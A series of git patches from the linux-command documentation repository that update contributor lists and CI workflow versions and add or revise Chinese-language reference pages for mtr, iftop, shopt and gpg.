Shan Chenyu RichardLCD -Pan, Wen-Ming BingCoke +Pan, Wen-Ming Ein Verne +kassadin kid1412621 leo lewis1573 @@ -420,8 +421,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver rexlin600 sfwwslm -shc -kassadin juemuren4449 jqz3.tech jcdj666 @@ -435,7 +434,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -Ray Yee +cxalc +Mystic 黑&蛋 Panthea Johnson 远方 @@ -443,11 +443,10 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Kyofin 继刚 移动的红烧肉 -甲寅 极简XksA ReZero Loofra -徐伟 +Wei Xu 尘埃 宋小北 孤城落寞 @@ -466,7 +465,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 sunls24 snovey shuangcui -Mystic +shc MinsonLee Marnm mwei @@ -474,6 +473,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lucien Lix LinuxZilong +Lin Wuxian 孟思行 LexsionLee Legend @@ -494,7 +494,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Cui Yang Azroy Alan -cxalc Forever121 c2ch brinkqiang @@ -522,7 +521,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 Rocher Robigus -Rining Wu +Rining Wu +Ray Yee 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 77e5f376752ccd70bea300d2a2647c45121824fb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:42:36 +0000 Subject: [PATCH 317/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 996caad14cd..eb8277186b1 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -42,9 +42,10 @@ Xingwen Zhang Shan Chenyu RichardLCD -Pan, Wen-Ming BingCoke +Pan, Wen-Ming Ein Verne +kassadin kid1412621 leo lewis1573 @@ -57,8 +58,6 @@ oliver rexlin600 sfwwslm -shc -kassadin juemuren4449 jqz3.tech jcdj666 @@ -72,7 +71,8 @@ dongpohezui Deny dayday -Ray Yee +cxalc +Mystic 黑&蛋 Panthea Johnson 远方 @@ -80,11 +80,10 @@ Kyofin 继刚 移动的红烧肉 -甲寅 极简XksA ReZero Loofra -徐伟 +Wei Xu 尘埃 宋小北 孤城落寞 @@ -103,7 +102,7 @@ sunls24 snovey shuangcui -Mystic +shc MinsonLee Marnm mwei @@ -111,6 +110,7 @@ Lucien Lix LinuxZilong +Lin Wuxian 孟思行 LexsionLee Legend @@ -131,7 +131,6 @@ Cui Yang Azroy Alan -cxalc Forever121 c2ch brinkqiang @@ -159,7 +158,8 @@ 殇 Rocher Robigus -Rining Wu +Rining Wu +Ray Yee

数据来源于 GitHub Contributors，使用action-contributors创建。 From 935bc49ce7c6848d05c924755435fbe675dda31d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:45:39 +0800 Subject: [PATCH 318/570] ci: update workflow config. --- .github/workflows/ci.yml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 91dc66245df..6157f048101 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -11,10 +11,10 @@ jobs: contents: write id-token: write steps: - - uses: actions/checkout@v3 - - uses: actions/setup-node@v3 + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 with: - node-version: 18 + node-version: 20 registry-url: 'https://registry.npmjs.org' - name: Generate Contributors Images @@ -138,9 +138,9 @@ jobs: # Create Docker Image - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 + uses: docker/setup-buildx-action@v3 - name: Login to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v3 with: username: ${{ secrets.DOCKER_USER }} password: ${{ secrets.DOCKER_PASSWORD }} From c3356639109b0040136d78242810fd399d106068 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:46:47 +0800 Subject: [PATCH 319/570] released v1.18.0 --- .github/workflows/sync.yml | 2 +- package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/sync.yml b/.github/workflows/sync.yml index be5cd36a5cd..df5a9fa39eb 100644 --- a/.github/workflows/sync.yml +++ b/.github/workflows/sync.yml @@ -17,7 +17,7 @@ jobs: steps: # Step 1: run a standard checkout action - name: Checkout target repo - uses: actions/checkout@v3 + uses: actions/checkout@v4 # Step 2: run the sync action - name: Sync upstream changes diff --git a/package.json b/package.json index 7a41fc8a286..c52d9644e3a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.16.0", + "version": "1.18.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From ecea873565e5b99dbd47fb05a64fdece84f6bf6e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:51:18 +0800 Subject: [PATCH 320/570] ci: update workflow config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6157f048101..f458838acc4 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -134,7 +134,7 @@ jobs: continue-on-error: true name: 📦 linux-command publish to NPM env: - NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}} + NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}} # Create Docker Image - name: Set up Docker Buildx From 5e33440d0b6cc42307dba360319f139fcb4a97bb Mon Sep 17 00:00:00 2001 From: hululu1068 <68652362+hululu1068@users.noreply.github.com> Date: Sun, 7 Apr 2024 16:54:24 +0800 Subject: [PATCH 321/570] doc: add mtr.md (#540) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Create mtr.md `mtr`在单个网络诊断工具中结合了`traceroute`和`ping`程序的功能. * Update mtr.md --- command/mtr.md | 85 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 command/mtr.md diff --git a/command/mtr.md b/command/mtr.md new file mode 100644 index 00000000000..bf79cc61d1a --- /dev/null +++ b/command/mtr.md @@ -0,0 +1,85 @@ +mtr +=== + +`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 +用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后，它会向每台机器发送一系列 ICMP ECHO 请求，以确定与每台机器的链路质量。在此过程中，它会打印每台机器的运行统计数据。 + +## 补充说明 + +Debian发行版已经内置了`mtr`,其它发行版可自行安装，支持主流操作系统。 +可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。 + +### 语法 + +```shell +mtr (参数) (目标ip/域名) +``` + +### 参数 +| 参数 | 解释 +---- | ---- +-r | 以报告模式显示 +-c | 发送数据包大小 +-n | 不用主机名解释 +-s | 指定ping数据包的大小 +--report | 不动态显示结果 + +### 实例 + +```shell +使用 -r 参数显示报告： +[root@localhost ~]# mtr -r github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 10 0.5 0.5 0.4 0.6 0.1 + 2.|-- 10.12.52.0 0.0% 10 0.9 1.2 0.8 3.4 0.8 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 10 0.9 0.8 0.8 0.9 0.1 + 4.|-- 63.217.254.209 70.0% 10 1.3 1.3 1.2 1.3 0.0 + 5.|-- 63-216-176-146.static.pcc 0.0% 10 4.1 3.6 1.1 12.9 3.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 10 2.8 5.5 1.7 24.0 6.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 20.0% 10 36.4 36.5 36.3 36.7 0.1 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 10 36.4 37.3 36.3 39.5 1.4 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 10 35.9 38.8 35.9 53.3 5.4 + 10.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0 + +使用-c参数设置每秒发送数据包数量： +[root@localhost ~]# mtr -r -c 30 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.5 0.4 0.3 1.2 0.2 + 2.|-- 10.12.52.0 0.0% 30 0.8 1.2 0.8 9.2 1.6 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 3.0 0.4 + 4.|-- 63.217.254.209 40.0% 30 1.3 1.3 1.1 2.4 0.3 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.0 3.1 1.0 13.5 3.4 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 1.7 2.2 1.6 5.7 0.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.4 36.6 36.3 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 30 36.7 47.1 36.2 102.7 21.0 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 41.4 35.9 78.4 8.8 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0 + +使用-s参数指定ping数据包的大小： +[root@localhost ~]# mtr -r -c 30 -s 1024 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.6 0.6 0.3 4.3 0.7 + 2.|-- 10.12.52.0 0.0% 30 1.0 1.1 0.8 7.0 1.1 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 1.1 0.1 + 4.|-- 63.217.254.209 66.7% 30 1.3 1.3 1.2 1.5 0.1 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.1 3.3 1.0 18.4 4.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 2.2 3.7 1.7 12.2 2.5 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.5 36.6 36.4 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + +``` From 85965671e39d77a36f51b1ee3b76103583c470e5 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:58:04 +0800 Subject: [PATCH 322/570] doc: update mtr.md #540 --- command/mtr.md | 32 ++++++++++++++++++++------------ dist/data.json | 25 +++++++++++++++++++++++++ dist/data.min.json | 2 +- 3 files changed, 46 insertions(+), 13 deletions(-) diff --git a/command/mtr.md b/command/mtr.md index bf79cc61d1a..fdcd34ea0f7 100644 --- a/command/mtr.md +++ b/command/mtr.md @@ -1,12 +1,13 @@ mtr === -`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 -用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后，它会向每台机器发送一系列 ICMP ECHO 请求，以确定与每台机器的链路质量。在此过程中，它会打印每台机器的运行统计数据。 +`mtr` 结合了 `traceroute` 和 `ping` 程序的功能，是一款简单的网络诊断工具 ## 补充说明 -Debian发行版已经内置了`mtr`,其它发行版可自行安装，支持主流操作系统。 +用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后，它会向每台机器发送一系列 ICMP ECHO 请求，以确定与每台机器的链路质量。在此过程中，它会打印每台机器的运行统计数据。 + +Debian 发行版已经内置了 `mtr`,其它发行版可自行安装，支持主流操作系统。 可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。 ### 语法 @@ -16,18 +17,20 @@ mtr (参数) (目标ip/域名) ``` ### 参数 + | 参数 | 解释 ---- | ---- --r | 以报告模式显示 --c | 发送数据包大小 --n | 不用主机名解释 --s | 指定ping数据包的大小 ---report | 不动态显示结果 +`-r` | 以报告模式显示 +`-c` | 发送数据包大小 +`-n` | 不用主机名解释 +`-s` | 指定ping数据包的大小 +`--report` | 不动态显示结果 ### 实例 +使用 `-r` 参数显示报告： + ```shell -使用 -r 参数显示报告： [root@localhost ~]# mtr -r github.com HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev @@ -46,8 +49,11 @@ HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0 +``` -使用-c参数设置每秒发送数据包数量： +使用 `-c` 参数设置每秒发送数据包数量： + +```shell [root@localhost ~]# mtr -r -c 30 github.com HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev @@ -66,8 +72,11 @@ HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0 +``` -使用-s参数指定ping数据包的大小： +使用 `-s` 参数指定 `ping` 数据包的大小： + +```shell [root@localhost ~]# mtr -r -c 30 -s 1024 github.com HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev @@ -81,5 +90,4 @@ HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 - ``` diff --git a/dist/data.json b/dist/data.json index 83b9625abad..a5301ee6e3b 100644 --- a/dist/data.json +++ b/dist/data.json @@ -364,6 +364,11 @@ "p": "/colrm", "d": "删除文件中的指定列" }, + "column": { + "n": "column", + "p": "/column", + "d": "按列格式化输出文件" + }, "comm": { "n": "comm", "p": "/comm", @@ -969,6 +974,11 @@ "p": "/halt", "d": "关闭正在运行的Linux操作系统" }, + "hcitool": { + "n": "hcitool", + "p": "/hcitool", + "d": "hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。" + }, "hdparm": { "n": "hdparm", "p": "/hdparm", @@ -1184,6 +1194,11 @@ "p": "/iptstate", "d": "显示iptables的工作状态" }, + "iscsiadm": { + "n": "iscsiadm", + "p": "/iscsiadm", + "d": "管理iSCSI连接" + }, "ispell": { "n": "ispell", "p": "/ispell", @@ -1619,6 +1634,11 @@ "p": "/mtools", "d": "显示mtools支持的指令" }, + "mtr": { + "n": "mtr", + "p": "/mtr", + "d": "`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 " + }, "mv": { "n": "mv", "p": "/mv", @@ -1859,6 +1879,11 @@ "p": "/ping6", "d": "测试主机之间网络的连通性(ipv6)" }, + "pip": { + "n": "pip", + "p": "/pip", + "d": "Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块" + }, "pkexec": { "n": "pkexec", "p": "/pkexec", diff --git a/dist/data.min.json b/dist/data.min.json index b8a3bd417a0..02f10339d70 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian 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rar 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X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 98100a2526d4429e75968233778e1063183aa96d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:58:34 +0000 Subject: [PATCH 323/570] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 4d1fe93c1f0..d458385bc2b 100644 --- a/README.md +++ b/README.md @@ -424,6 +424,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 juemuren4449 jqz3.tech jcdj666 +hululu1068 huangyao gcluffy ghy @@ -435,7 +436,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -Mystic 黑&蛋 Panthea Johnson 远方 @@ -466,6 +466,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey shuangcui shc +Mystic MinsonLee Marnm mwei From bcaecdbbcc344a3c2f76428c83f5c7fd53a89205 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:58:35 +0000 Subject: [PATCH 324/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index eb8277186b1..c45b19a75bd 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -61,6 +61,7 @@ juemuren4449 jqz3.tech jcdj666 +hululu1068 huangyao gcluffy ghy @@ -72,7 +73,6 @@ Deny dayday cxalc -Mystic 黑&蛋 Panthea Johnson 远方 @@ -103,6 +103,7 @@ snovey shuangcui shc +Mystic MinsonLee Marnm mwei From 50a90439edb31e7a877ab6f08d9f8e745b5e6831 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Thu, 18 Apr 2024 15:42:09 +0800 Subject: [PATCH 325/570] doc: Update iftop.md (#573) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 完善iftop参数解释 --- command/iftop.md | 49 ++++++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 25 deletions(-) diff --git a/command/iftop.md b/command/iftop.md index 6f64c6762fd..0449a3eccbf 100644 --- a/command/iftop.md +++ b/command/iftop.md @@ -16,39 +16,38 @@ iftop(选项) ### 选项 ```shell -iftop: display bandwidth usage on an interface by host +iftop: 按主机显示接口带宽使用情况 -Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] +参数: iftop -h | [-npblNBP] [-i interface] [-f filter code] [-F net/mask] [-G net6/mask6] - -h display this message - -n don't do hostname lookups - -N don't convert port numbers to services - -p run in promiscuous mode (show traffic between other - hosts on the same network segment) - -b don't display a bar graph of traffic - -B Display bandwidth in bytes - -i interface listen on named interface + -h 显示帮助信息 + -n 不要讲ip转为主机名 + -N 不要将端口转为对应服务名 + -p 以混杂模式运行(显示同一网段内其他主机之间的流量) + -b 不要展示流量通行条形图 + -B 使用Byte展示流量情况(默认展示的bit) + -i interface 指定需要监听的网络端口 -i eth0 -f filter code use filter code to select packets to count (default: none, but only IP packets are counted) - -F net/mask show traffic flows in/out of IPv4 network - -G net6/mask6 show traffic flows in/out of IPv6 network - -l display and count link-local IPv6 traffic (default: off) - -P show ports as well as hosts - -m limit sets the upper limit for the bandwidth scale - -c config file specifies an alternative configuration file - -t use text interface without ncurses + -F net/mask 展示指定IPV4网络的流量，参数可以是主机名/IP/掩码 + -G net6/mask6 展示指定IPV6网络的流量，参数可以是主机名/IP/掩码 + -l 展示本地网络/回环网络/ipv6流量 (默认值: 关闭) + -P 展示主机端口 + -m limit 设置带宽规模的上限 + -c config file 指定可选配置文件 + -t 使用文本模式展示 Sorting orders: - -o 2s Sort by first column (2s traffic average) - -o 10s Sort by second column (10s traffic average) [default] - -o 40s Sort by third column (40s traffic average) - -o source Sort by source address - -o destination Sort by destination address + -o 2s 按照第一列进行排序 (每2秒的平均值为一个计数周期) + -o 10s 按照第二列进行排序 (每10秒的平均值为一个计数周期] + -o 40s 按照第三列进行排序 (每40秒的平均值为一个计数周期) + -o source 按照原地址继续排序 + -o destination 按照目标地址进行排序 - The following options are only available in combination with -t - -s num print one single text output afer num seconds, then quit - -L num number of lines to print + 以下选项仅在与 -t + -s num 在num秒后打印一个文本输出，然后退出 + -L num 打印的行数 ``` ### 界面说明 From 33277f528d0bdc28cb6f03560aa260ac771fd3d6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 18 Apr 2024 07:42:57 +0000 Subject: [PATCH 326/570] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d458385bc2b..26f0625cab1 100644 --- a/README.md +++ b/README.md @@ -373,8 +373,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 lutixiaya L clay-wangzhi -Glett 项金 +Glett 烟草的香味 Jayin Tang 丛林意志 @@ -436,7 +436,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -黑&蛋 +Yidan Wang Panthea Johnson 远方 谢民皆 From 764e369ce1ebc7734622cdd8262b979228bf3adb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 18 Apr 2024 07:42:58 +0000 Subject: [PATCH 327/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index c45b19a75bd..ec7cc7d68c6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -10,8 +10,8 @@ lutixiaya L clay-wangzhi -Glett 项金 +Glett 烟草的香味 Jayin Tang 丛林意志 @@ -73,7 +73,7 @@ Deny dayday cxalc -黑&蛋 +Yidan Wang Panthea Johnson 远方 谢民皆 From c327ee071593a0e788315f4868ac4ca0a2d56e85 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Tue, 23 Apr 2024 13:47:10 +0800 Subject: [PATCH 328/570] doc: Update shopt.md (#574) --- command/shopt.md | 59 ++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 49 insertions(+), 10 deletions(-) diff --git a/command/shopt.md b/command/shopt.md index 6ead7cdde4f..770ef26ebc1 100644 --- a/command/shopt.md +++ b/command/shopt.md @@ -30,16 +30,55 @@ shell选项：指定要操作的shell选项。 ```shell shopt #输出所有可以设置的shell操作选项 -cdable_vars off -cdspell off -checkhash off -checkwinsize on -cmdhist on -dotglob off -execfail off -expand_aliases on -extdebug off -... +autocd off +cdable_vars off +cdspell off +checkhash off +checkjobs off +checkwinsize on +cmdhist on +compat31 off +compat32 off +compat40 off +compat41 off +compat42 off +compat43 off +complete_fullquote on +direxpand off +dirspell off +dotglob off +execfail off +expand_aliases on +extdebug off +extglob off +extquote on +failglob off +force_fignore on +globasciiranges off +globstar off +gnu_errfmt off +histappend on +histreedit off +histverify off +hostcomplete on +huponexit off +inherit_errexit off +interactive_comments on +lastpipe off +lithist off +login_shell on +mailwarn off +no_empty_cmd_completion off +nocaseglob off +nocasematch off +nullglob off +progcomp on +promptvars on +restricted_shell off +shift_verbose off +sourcepath on +syslog_history off +xpg_echo off ``` 如图上所示，选项"cdspell"的状态为"off"，即关闭cd拼写检查选项。现在，可以使用shopt命令将其开启，输入如下命令： From 64b1a4e130513c3c0dd69e365899ab9e5b3bc984 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 05:47:37 +0000 Subject: [PATCH 329/570] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 26f0625cab1..539d7f6b0be 100644 --- a/README.md +++ b/README.md @@ -372,8 +372,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Huck Huang lutixiaya L -clay-wangzhi 项金 +clay-wangzhi Glett 烟草的香味 Jayin Tang From 8dbd9766ccec1951d3cccce887d60aeb8061b241 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 05:47:38 +0000 Subject: [PATCH 330/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ec7cc7d68c6..fff65c6ae51 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -9,8 +9,8 @@ Huck Huang lutixiaya L -clay-wangzhi 项金 +clay-wangzhi Glett 烟草的香味 Jayin Tang From a1150a1918689b915529763b29ea846b8a8ad679 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=8B=BE=E5=B9=B4=E8=80=81=E9=93=BA?= Date: Tue, 23 Apr 2024 17:31:32 +0800 Subject: [PATCH 331/570] doc: add gpg.md (#575) --- command/gpg.md | 88 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 command/gpg.md diff --git a/command/gpg.md b/command/gpg.md new file mode 100644 index 00000000000..242d3cfc4dc --- /dev/null +++ b/command/gpg.md @@ -0,0 +1,88 @@ +gpg +=== + +可用于签名、检查、加密或解密的工具 + +### 支持算法: + +Pubkey: `RSA`, `ELG`, `DSA`, `ECDH`, `ECDSA`, `EDDSA` +Cipher: `IDEA`, `3DES`, `CAST5`, `BLOWFISH`, `AES`, `AES192`, `AES256`, `TWOFISH`, + `CAMELLIA128`, `CAMELLIA192`, `CAMELLIA256` +Hash: `SHA1`, `RIPEMD160`, `SHA256`, `SHA384`, `SHA512`, `SHA224` +Compression: `Uncompressed`, `ZIP`, `ZLIB`, `BZIP2` + +### 语法 +```shell +gpg [选项] [文件...] +``` + +### 参数: + +```shell + -s, --sign 签名 + --clear-sign 生成明文签名 + -b, --detach-sign 生成一个独立的签名 + -e, --encrypt 加密数据 + -c, --symmetric 仅使用对称密码进行加密 + -d, --decrypt 解密数据 (默认) + --verify 验签 + -k, --list-keys 列出密钥 + --list-signatures 列出密钥和签名 + --check-signatures 列出并检查密钥签名 + --fingerprint 列出密钥和指纹 + -K, --list-secret-keys 列出私钥 + --generate-key 生成新的密钥对 + --quick-generate-key 快速生成新的密钥对 + --quick-add-uid 快速添加新的用户ID + --quick-revoke-uid 快速撤销用户ID + --quick-set-expire 快速设置新的过期日期 + --full-generate-key 全功能密钥对生成 + --generate-revocation 生成撤销证书 + --delete-keys 